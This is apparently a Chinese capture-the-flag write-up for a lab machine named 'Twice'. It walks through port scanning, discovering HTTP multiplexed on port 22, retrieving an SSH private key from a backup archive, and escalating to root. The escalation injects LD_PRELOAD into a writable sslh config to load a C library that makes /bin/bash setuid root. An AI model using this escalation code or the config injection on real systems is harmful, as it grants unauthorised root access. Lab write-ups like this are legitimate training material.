

Twice

作者: ll104567 靶机ID:621



- 1 nmap -Pn -sC -sV -T4 192.168.56.120
- 2 nmap -Pn -p- --min-rate 5000 -T4 192.168.56.120

先扫描

- ```
1 └─(Meiyouqian@Mei-you-qian)-[~]-[master]
 0ms
2 └─$ nmap -Pn -p- --min-rate 5000 -T4 192.168.56.120
3 Starting Nmap 7.95 (https://nmap.org) at 2026-04-13 09:25 中国标准时间
4 Nmap scan report for 192.168.56.120
5 Host is up (0.00s latency).
6 Not shown: 65534 closed tcp ports (reset)
7 PORT STATE SERVICE
8 22/tcp open ssh
9 MAC Address: 08:00:27:59:CE:70 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
10
11 Nmap done: 1 IP address (1 host up) scanned in 5.69 seconds
```

```

1 └─(Meiyouqian@Mei-you-qian)-[~]-[master]
 0ms
2 └─$ nmap -Pn -sC -sV -T4 192.168.56.120
3 Starting Nmap 7.95 (https://nmap.org) at 2026-04-13 09:25 中国标准时间
4 Nmap scan report for 192.168.56.120
5 Host is up (0.00s latency).
6 Not shown: 999 closed tcp ports (reset)
7 PORT STATE SERVICE VERSION
8 22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
9 | ssh-hostkey:
10 | 3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)
11 | 256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)
12 |_ 256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)
13 MAC Address: 08:00:27:59:CE:70 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
14 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
15
16 Service detection performed. Please report any incorrect results at http
s://nmap.org/submit/ .
17 Nmap done: 1 IP address (1 host up) scanned in 20.83 seconds

```

在尝试后发现只有一个22端口，udp等端口都没开，ssh也没有设置banner

于是想到题目Twice可能是端口复用的意思

```

1 └─(Meiyouqian@Mei-you-qian)-[~]-[master]
 0ms
2 └─$ curl -i http://192.168.56.120:22/
3 HTTP/1.1 200 OK
4 Date: Mon, 13 Apr 2026 03:34:00 GMT
5 Server: Apache/2.4.62 (Debian)
6 Last-Modified: Sun, 29 Mar 2026 00:10:23 GMT
7 ETag: "10-64e1e8f7677ca"
8 Accept-Ranges: bytes
9 Content-Length: 16
10 Content-Type: text/html
11
12 Congratulations

```

确认端口复用存在

```
C:\Windows\system32\cmd.exe x + v
Output File: C:\Users\Meiyouqian\reports\http_192.168.56.120_22_26-04-13_12-17-47.txt
Target: http://192.168.56.120:22/

[12:17:47] Starting:
[12:17:47] 403 - 279B - /.ht_wsr.txt
[12:17:47] 403 - 279B - /.htaccess.bak1
[12:17:47] 403 - 279B - /.htaccess.orig
[12:17:47] 403 - 279B - /.htaccess.sample
[12:17:47] 403 - 279B - /.htaccess.save
[12:17:47] 403 - 279B - /.htaccess_extra
[12:17:47] 403 - 279B - /.htaccess_orig
[12:17:47] 403 - 279B - /.htaccess_sc
[12:17:47] 403 - 279B - /.htaccessOLD
[12:17:47] 403 - 279B - /.htaccessBAK
[12:17:47] 403 - 279B - /.htaccessOLD2
[12:17:47] 403 - 279B - /.htm
[12:17:47] 403 - 279B - /.html
[12:17:47] 403 - 279B - /.htpasswd
[12:17:47] 403 - 279B - /.htpasswd_test
[12:17:47] 403 - 279B - /.htcr-oauth
[12:17:48] 403 - 279B - /.php
[12:17:52] 200 - 391B - /backup.zip
[12:18:02] 200 - 2KB - /server-status/
[12:18:02] 200 - 2KB - /server-status

Task Completed
Meiyouqian@Mei-you-qian: [~] - [master] 20s ✓
$
```

dirsearch发现了/backup.zip

打开得到ssh私钥

```
1 -----BEGIN OPENSSSH PRIVATE KEY-----
2 b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAAtzc2gtZW
3 QyNTUxOQAAACA0j2572/tCLfHeT69ZHrshlKzpRLjvT7VxCOD7kh7E8QAAAJhC1DZnQpQ2
4 ZwAAAAAtzc2gtZWQyNTUxOQAAACA0j2572/tCLfHeT69ZHrshlKzpRLjvT7VxCOD7kh7E8Q
5 AAABiC8Y0FCRmWZR7Jg9b2ITBZ+U/gZ47v0NK0e0zCr1k0w6Pbnvb+0It8d5Pr1keuyGU
6 r0lEu09PtXEI4PuSHsTxAAAADmN5bC1sb3ZlQFR3aWNLAQIDBAUGBw==
7 -----END OPENSSSH PRIVATE KEY-----

1 (kali@kali)-[~/桌面]
2 $ ssh-keygen -y -f id_ed25519
3 ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIA6Pbnvb+0It8d5Pr1keuyGUr0lEu09PtXEI4Pu
SHsTx cyl-love@Twice
```

解析对应公钥，发现用户名是cyl-love

IP 192.168.56.120 复制

系统信息

运行 -

负载 -

CPU 0%

内存 0% 0/0

交换 0% 0/0

内存 CPU 命令

```
连接主机...
连接主机成功
Linux Twice 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
cyl-love@Twice:~$
```

成功登录

```

1 cyl-love@Twice:~$ id
2 uid=1000(cyl-love) gid=1000(cyl-love) groups=1000(cyl-love)
3 cyl-love@Twice:~$ whoami
4 cyl-love
5 cyl-love@Twice:~$ pwd
6 /home/cyl-love
7 cyl-love@Twice:~$ ls -la
8 total 32
9 drwxr-xr-x 4 cyl-love cyl-love 4096 Apr 13 00:20 .
10 drwxr-xr-x 3 root root 4096 Mar 28 20:05 ..
11 lrwxrwxrwx 1 root root 9 Mar 28 20:09 .bash_history -> /dev/nul
12 -rw-r--r-- 1 cyl-love cyl-love 220 Mar 28 20:05 .bash_logout
13 -rw-r--r-- 1 cyl-love cyl-love 3526 Mar 28 20:05 .bashrc
14 drwx----- 3 cyl-love cyl-love 4096 Apr 13 00:20 .config
15 -rw-r--r-- 1 cyl-love cyl-love 807 Mar 28 20:05 .profile
16 drwx----- 2 cyl-love cyl-love 4096 Mar 28 20:09 .ssh
17 -rw-r--r-- 1 root root 44 Mar 28 20:05 user.txt
18 cyl-love@Twice:~$ cat user.txt
19 flag{user-011810bbcc7a187174fc4aeee0fddf8a}
20 cyl-love@Twice:~$ cat /etc/passwd
21 root:x:0:0:root:/root:/bin/bash
22 daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
23 bin:x:2:2:bin:/bin:/usr/sbin/nologin
24 sys:x:3:3:sys:/dev:/usr/sbin/nologin
25 sync:x:4:65534:sync:/bin:/bin/sync
26 games:x:5:60:games:/usr/games:/usr/sbin/nologin
27 man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
28 lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
29 mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
30 news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
31 uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
32 proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
33 www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
34 backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
35 list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
36 irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
37 gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/
nologin
38 nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
39 _apt:x:100:65534:./nonexistent:/usr/sbin/nologin
40 systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/u
sr/sbin/nologin
41 systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/
sbin/nologin
42 systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nolog
in

```

```
43 systemd-coredump:x:999:999:systemd Core Dumper:/:usr/sbin/nologin
44 messagebus:x:104:110:/:nonexistent:usr/sbin/nologin
45 sshd:x:105:65534:/:run/sshd:usr/sbin/nologin
46 sslh:x:106:113:/:nonexistent:usr/sbin/nologin
47 cyl-love:x:1000:1000:,,,:/home/cyl-love:/bin/bash
48 cyl-love@Twice:~$ sudo -l
49 Matching Defaults entries for cyl-love on Twice:
50 env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin
51 \:/usr/sbin\:/usr/bin\:/sbin\:/bin
52
53 User cyl-love may run the following commands on Twice:
 (ALL) NOPASSWD: /usr/sbin/reboot
```

探测基本信息，发现了sudo存在/usr/sbin/reboot，提权点

```
1 cyl-love@Twice:~$ ls -la /usr/sbin/reboot
2 lrwxrwxrwx 1 root root 14 Jun 29 2023 /usr/sbin/reboot -> /bin/systemctl
3 cyl-love@Twice:~$ file /usr/sbin/reboot
4 /usr/sbin/reboot: symbolic link to /bin/systemctl
```

发现我们可读可写可执行，但是只靠这个似乎不太行，找找我们有什么可写的

```
1 cyl-love@Twice:~$ find /etc /opt /usr/local -type f \(-writable -o -user c
 yl-love \) 2>/dev/null
2 /etc/default/sslh
```

枚举了很多，最后发现sslh全局可写，而且是root启动的

所以漏洞点就想到了是改一个会被root服务读取的sslh，之后触发重启让这个root服务重启

利用环境变量注入即可，加入LD\_PRELOAD后等系统重启就会先加载我指定的共享库

于是就可以提权了

```

1 cat > /home/cyl-love/.x.c << 'EOF'
2 #include <unistd.h>
3 #include <sys/stat.h>
4 #include <sys/types.h>
5
6 __attribute__((constructor))
7 void init(void) {
8 chown("/bin/bash", 0, 0);
9 chmod("/bin/bash", 04755);
10 }
11 EOF
12
13 gcc -shared -fPIC -o /home/cyl-love/.x.so /home/cyl-love/.x.c
14 ls -l /home/cyl-love/.x.so

```

在/etc/default/ssh最后加上这样子一句即可

```
1 LD_PRELOAD=.*#LD_PRELOAD=/home/cyl-love/.x.so
```

重启即可

```

1 Linux Twice 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
2
3 The programs included with the Debian GNU/Linux system are free software;
4 the exact distribution terms for each program are described in the
5 individual files in /usr/share/doc/*/copyright.
6
7 Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
8 permitted by applicable law.
9 Last login: Mon Apr 13 00:37:57 2026 from 127.0.0.1
10 -bash-5.0$ ls -l /bin/bash
11 -rwsr-xr-x 1 root root 1168776 Apr 18 2019 /bin/bash
12 -bash-5.0$ /bin/bash -p
13 bash-5.0# id
14 uid=1000(cyl-love) gid=1000(cyl-love) euid=0(root) groups=1000(cyl-love)
15 bash-5.0# whoami
16 root
17 bash-5.0# cat /root/root.txt
18 flag{root-38ccdf8dfaef4775b871b1d04450c32}

```